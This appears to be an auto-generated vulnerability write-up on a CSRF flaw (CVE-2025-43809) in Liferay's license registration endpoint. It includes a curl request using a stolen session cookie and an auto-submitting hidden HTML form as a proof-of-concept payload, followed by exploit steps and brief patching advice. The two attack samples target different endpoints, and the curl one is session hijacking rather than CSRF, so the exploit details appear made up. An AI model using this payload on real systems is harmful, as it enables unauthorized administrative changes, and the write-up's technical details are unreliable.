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The CVE-2025-43809 vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the server license registration endpoint of Liferay Portal and DXP. The affected endpoint does not properly validate the presence or integrity of anti-CSRF tokens, allowing forged requests to be processed. An attacker can exploit this by tricking an authenticated administrator into clicking a malicious link or visiting a crafted webpage. This action triggers a hidden, unauthorized HTTP POST request to the internal license registration handler. The exploit leverages the ‘orderUuid’ parameter to submit a fraudulent license registration. The server executes this request within the victim’s active session, believing it to be a legitimate user action. Successful exploitation results in the registration of an attacker-controlled license key without the administrator’s knowledge or consent. The attack is network-based, requires no privileges, and relies on user interaction, but has a low attack complexity.
Platform: Liferay
Version: 7.4.0-7.4.3.111
Vulnerability : CSRF
Severity: MEDIUM
date: 2025-09-19
Prediction: 2025-09-19
What Undercode Say:
curl -X POST 'http://<target>/api/license/register' -H 'Cookie: JSESSIONID=<stolen_session>' --data 'orderUuid=<malicious_uuid>'
<html>
<body>
<form action="http://<liferay-host>/c/portal/license_register" method="POST" id="csrf">
<input type="hidden" name="orderUuid" value="attacker-controlled-key"/>
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
How Exploit:
- Attacker crafts malicious webpage hosting forged form.
- Administrator with active session visits the page.
- Form auto-submits POST to license registration endpoint.
- Server processes request with victim’s session context.
- Attacker’s license is silently registered.
Protection from this CVE:
- Apply official patch.
- Upgrade to fixed versions.
- Enable CSRF tokens globally.
Impact:
- Unauthorized license registration.
- Compromised system integrity.
- Data confidentiality risk.
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Sources:
Reported By: nvd.nist.gov
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